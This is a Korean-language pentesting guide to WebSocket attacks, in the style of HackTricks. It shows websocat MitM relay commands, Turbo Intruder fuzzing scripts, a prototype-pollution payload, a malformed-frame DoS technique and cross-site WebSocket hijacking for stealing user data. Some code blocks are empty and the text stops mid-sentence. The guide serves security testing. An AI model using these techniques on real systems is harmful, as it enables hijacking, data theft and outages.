# WebSocket 공격 {{#include ../banners/hacktricks-training.md}} ## WebSocket란 무엇인가 WebSocket 연결은 초기 **HTTP** 핸드셰이크를 통해 설정되며 **장기간 유지**되도록 설계되어 트랜잭션 시스템 없이도 언제든 양방향 메시징이 가능합니다. 이로 인해 WebSocket은 실시간 금융 데이터 스트림과 같이 **저지연 또는 서버-발신 통신**이 필요한 애플리케이션에 특히 유리합니다. ### WebSocket 연결 설정 WebSocket 연결 수립에 대한 자세한 설명은 [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)에서 확인할 수 있습니다. 요약하면, WebSocket 연결은 일반적으로 아래와 같이 클라이언트 측 JavaScript를 통해 시작됩니다: ```javascript var ws = new WebSocket("wss://normal-website.com/ws") ``` `wss` 프로토콜은 **TLS**로 보호되는 WebSocket 연결을 의미하며, `ws`는 **보안되지 않은** 연결을 나타냅니다. 연결을 설정할 때 브라우저와 서버는 HTTP를 통해 핸드셰이크를 수행합니다. 핸드셰이크 과정은 브라우저가 요청을 보내고 서버가 응답하는 과정으로, 다음 예시에 설명되어 있습니다: 브라우저가 핸드셰이크 요청을 보냅니다: ```javascript GET /chat HTTP/1.1 Host: normal-website.com Sec-WebSocket-Version: 13 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== Connection: keep-alive, Upgrade Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Upgrade: websocket ``` 서버의 핸드셰이크 응답: ```javascript HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: websocket Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= ``` 연결이 수립되면 양방향으로 메시지를 교환하기 위해 연결이 열린 상태로 유지됩니다. **WebSocket Handshake의 핵심 포인트:** - `Connection` 및 `Upgrade` 헤더는 WebSocket handshake의 시작을 알립니다. - `Sec-WebSocket-Version` 헤더는 원하는 WebSocket 프로토콜 버전을 나타내며, 일반적으로 `13`입니다. - `Sec-WebSocket-Key` 헤더에는 Base64로 인코딩된 무작위 값이 전송되어 각 handshake가 고유하도록 합니다. 이는 캐싱 프록시와 관련된 문제를 방지하는 데 도움을 줍니다. 이 값은 인증용이 아니라 응답이 잘못 구성된 서버나 캐시에서 생성된 것이 아님을 확인하기 위한 것입니다. - 서버 응답의 `Sec-WebSocket-Accept` 헤더는 `Sec-WebSocket-Key`의 해시로, 서버가 WebSocket 연결을 열 의도가 있음을 검증합니다. 이러한 특징들은 handshake 과정이 안전하고 신뢰할 수 있도록 보장하여 효율적인 실시간 통신을 가능하게 합니다. ### Linux 콘솔 `websocat`을 사용해 websocket과의 원시 연결을 수립할 수 있습니다. ```bash websocat --insecure wss://10.10.10.10:8000 -v ``` 또는 websocat 서버를 생성하려면: ```bash websocat -s 0.0.0.0:8000 #Listen in port 8000 ``` ### MitM websocket 연결 현재 로컬 네트워크에서 클라이언트가 **HTTP websocket**에 연결되어 있는 것을 발견하면 [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)을 시도하여 클라이언트와 서버 사이에 MitM 공격을 수행할 수 있습니다.\ 클라이언트가 연결을 시도하면 다음을 사용할 수 있습니다: ```bash websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ``` ### Websockets 열거 You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **를 사용하여 websockets에서 알려진** **취약점**을 자동으로 발견, fingerprint 및 검색할 수 있습니다. ### Websocket Debug tools - **Burp Suite**는 일반 HTTP 통신과 매우 유사한 방식으로 MitM websockets 통신을 지원합니다. - The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension**은 Burp에서 Websocket 통신을 더 잘 관리할 수 있게 해 주며, **history**를 확인하고 **interception rules**를 설정하며 **match and replace** 규칙을 적용하고 **Intruder**와 **AutoRepeater**를 사용할 수 있게 합니다. - [**WSSiP**](https://github.com/nccgroup/wssip)**:** 약칭 "**WebSocket/Socket.io Proxy**"인 이 도구는 Node.js로 작성되었으며 사용자 인터페이스를 제공하여 **capture, intercept, send custom** 메시지를 전송하고 클라이언트와 서버 간의 모든 WebSocket 및 Socket.IO 통신을 볼 수 있게 합니다. - [**wsrepl**](https://github.com/doyensec/wsrepl) 은 penetration testing을 위해 특별히 설계된 **interactive websocket REPL**입니다. 이 도구는 **incoming websocket messages and sending new ones**를 관찰하고 전송할 수 있는 인터페이스를 제공하며, 이 통신을 **automating**하기 위한 사용하기 쉬운 프레임워크를 제공합니다. - [**https://websocketking.com/**](https://websocketking.com/) 은 **다른 웹과 통신하기 위한 웹 인터페이스**로 websockets를 사용해 다른 웹과 통신할 수 있습니다. - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) 는 여러 통신/프로토콜 중 하나로 websockets를 사용해 다른 웹과 통신할 수 있는 **웹 인터페이스**를 제공합니다. ## Decrypting Websocket - [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript) - [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/) ## Websocket Lab In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) 에는 websockets를 사용하는 웹을 실행하는 코드가 있으며, [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) 에서 설명을 확인할 수 있습니다. ## Websocket Fuzzing The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) 이제 WebSocket 메시지도 퍼징할 수 있게 합니다. 자세한 내용은 [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner)에서 확인하세요. ### WebSocket Turbo Intruder (Burp extension) PortSwigger's WebSocket Turbo Intruder는 Turbo Intruder–style Python 스크립팅과 고속 퍼징을 WebSockets에 제공합니다. BApp Store 또는 소스에서 설치할 수 있습니다. 두 가지 구성요소를 포함합니다: - Turbo Intruder: custom engines를 사용해 단일 WS endpoint에 고용량 메시징을 수행합니다. - HTTP Middleware: 로컬 HTTP endpoint를 노출하여 바디를 persistent 연결을 통해 WS 메시지로 포워딩하므로, 모든 HTTP 기반 스캐너가 WS 백엔드를 탐색할 수 있게 합니다. Basic script pattern to fuzz a WS endpoint and filter relevant responses: ```python def queue_websockets(upgrade_request, message): connection = websocket_connection.create(upgrade_request) for i in range(10): connection.queue(message, str(i)) def handle_outgoing_message(websocket_message): results_table.add(websocket_message) @MatchRegex(r'{\"user\":\"Hal Pline\"') def handle_incoming_message(websocket_message): results_table.add(websocket_message) ``` 단일 메시지가 여러 응답을 유발할 때 노이즈를 줄이기 위해 `@MatchRegex(...)` 같은 데코레이터를 사용하세요. ### HTTP 뒤의 WS 브리지 (HTTP Middleware) 지속적인 WS 연결을 래핑하고 HTTP 본문을 WS 메시지로 전달하여 HTTP scanners로 자동화된 테스트를 수행합니다: ```python def create_connection(upgrade_request): connection = websocket_connection.create(upgrade_request) return connection @MatchRegex(r'{\"user\":\"You\"') def handle_incoming_message(websocket_message): results_table.add(websocket_message) ``` 그런 다음 로컬로 HTTP를 전송합니다; 본문은 WS 메시지로 전달됩니다: ```http POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 16 {"message":"hi"} ``` 이 방법으로 WS 백엔드를 제어하면서 “흥미로운” 이벤트(예: SQLi errors, auth bypass, command injection behavior)를 필터링할 수 있습니다. ### Socket.IO 처리 (핸드셰이크, 하트비트, 이벤트) Socket.IO는 WS 위에 자체적인 프레이밍을 추가합니다. 필수 쿼리 매개변수 `EIO`(예: `EIO=4`)로 이를 감지하세요. Ping (`2`)와 Pong (`3`)으로 세션을 유지하고 대화를 `"40"`으로 시작한 뒤 `42["message","hello"]` 같은 이벤트를 emit하세요. Intruder 예시: ```python import burp.api.montoya.http.message.params.HttpParameter as HttpParameter def queue_websockets(upgrade_request, message): connection = websocket_connection.create( upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) connection.queue('40') connection.queue('42["message","hello"]') @Pong("3") def handle_outgoing_message(websocket_message): results_table.add(websocket_message) @PingPong("2", "3") def handle_incoming_message(websocket_message): results_table.add(websocket_message) ``` HTTP 어댑터 변형: ```python import burp.api.montoya.http.message.params.HttpParameter as HttpParameter def create_connection(upgrade_request): connection = websocket_connection.create( upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) connection.queue('40') connection.decIn() return connection @Pong("3") def handle_outgoing_message(websocket_message): results_table.add(websocket_message) @PingPong("2", "3") def handle_incoming_message(websocket_message): results_table.add(websocket_message) ``` ### Socket.IO를 통한 서버 측 prototype pollution 탐지 PortSwigger의 안전한 탐지 기법을 따라, 다음과 같은 payload를 전송해 Express 내부를 오염시켜 보세요: ```json {"__proto__":{"initialPacket":"Polluted"}} ``` 만약 인사말이나 동작이 변경되면(예: echo에 "Polluted"가 포함되는 경우), 서버 측 프로토타입을 오염시킨 것일 가능성이 큽니다. 영향은 도달 가능한 sinks에 따라 달라지며, Node.js prototype pollution 섹션의 gadgets와 연관지어 보세요. 참고: - Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas. ### WebSocket race conditions with Turbo Intruder 기본 엔진은 한 연결에서 메시지를 배치 처리합니다(처리량은 우수하지만 레이스에는 부적합). THREADED 엔진을 사용해 여러 WS 연결을 생성하고 페이로드를 병렬로 전송하면 논리적 레이스(double‑spend, token reuse, state desync)를 유발할 수 있습니다. 예제 스크립트에서 시작해 `config()`의 동시성 설정을 조정하세요. - Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”). ### WebSocket DoS: malformed frame “Ping of Death” 헤더에 거대한 페이로드 길이를 선언하지만 본문은 전송하지 않는 WS 프레임을 제작하세요. 일부 WS 서버는 길이를 신뢰하고 버퍼를 미리 할당하므로 `Integer.MAX_VALUE`에 가깝게 설정하면 Out‑Of‑Memory를 일으켜 원격 unauth DoS를 유발할 수 있습니다. 예제 스크립트를 참조하세요. ### CLI 및 디버깅 - Headless fuzzing: `java -jar WebSocketFuzzer-.jar ` - 내부 ID를 사용해 메시지를 캡처하고 연관시키려면 WS Logger를 활성화하세요. - 복잡한 어댑터에서 메시지 ID 처리를 조정하려면 `Connection`의 `inc*`/`dec*` 헬퍼를 사용하세요. - `@PingPong`/`@Pong` 같은 데코레이터와 `isInteresting()` 같은 헬퍼는 노이즈를 줄이고 세션을 유지하는 데 도움됩니다. ### 운영 안전성 고속 WS fuzzing은 많은 연결을 열고 초당 수천 개의 메시지를 보낼 수 있습니다. 잘못된 프레임과 높은 전송률은 실제 DoS를 유발할 수 있습니다. 허가된 곳에서만 사용하세요. ## Cross-site WebSocket hijacking (CSWSH) **Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, 은 WebSocket 핸드셰이크에 영향을 미치는 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**의 특정 사례로 분류됩니다. 이 취약점은 WebSocket 핸드셰이크가 **HTTP cookies**만으로 인증하고 **CSRF tokens**나 유사한 보안 수단을 사용하지 않을 때 발생합니다. 공격자는 취약한 애플리케이션으로 cross-site WebSocket 연결을 시도하는 **malicious web page**를 호스팅하여 이를 악용할 수 있습니다. 결과적으로 이 연결은 애플리케이션에서 피해자 세션의 일부로 취급되어 세션 처리 메커니즘에서 CSRF 보호가 없는 점을 악용하게 됩니다. In order for this attack to work, these are the requirements: - websocket 인증은 **cookie 기반**이어야 합니다. - cookie는 공격자의 서버에서 접근 가능해야 합니다(일반적으로 **`SameSite=None`**을 의미). 또한 Firefox에서 **Firefox Total Cookie Protection**이 활성화되어 있지 않고 Chrome에서 **blocked third-party cookies**가 차단되어 있지 않아야 합니다. - websocket 서버가 연결의 origin을 검사하지 않거나(또는 이를 우회할 수 있어야 함). Also: - If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)) ### Simple Attack 참고로 **websocket** 연결을 설정할 때 **cookie**가 서버로 전송됩니다. 서버는 전송된 cookie를 기반으로 각 특정 사용자의 **websocket session**을 연관시킬 수 있습니다. 예를 들어 websocket 서버가 "READY"라는 msg가 전송되면 사용자 대화 기록을 반환하는 경우, 연결을 수립하는 간단한 XSS(쿠키가 피해자 사용자를 인증하기 위해 자동으로 전송됨)가 "READY"를 전송하면 대화 기록을 조회할 수 있습니다.: ```html ``` ### 다른 subdomain에서의 Cross Origin + Cookie In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)에서는 공격자가 웹소켓 통신이 발생하던 도메인의 **execute arbitrary Javascript in a subdomain**에 성공했습니다. 해당 도메인이 **subdomain**였기 때문에 **cookie**가 **sent**되었고, **Websocket didn't check the Origin properly** 때문에 통신이 가능해 **steal tokens from it**할 수 있었습니다. ### 사용자로부터 데이터 훔치기 사칭하려는 웹 애플리케이션(예: .html 파일)을 복사한 다음, websocket 통신이 발생하는 스크립트 내부에 다음 코드를 추가하세요: ```javascript //This is the script tag to load the websocket hooker ; //These are the functions that are gonig to be executed before a message //is sent by the client or received from the server //These code must be between some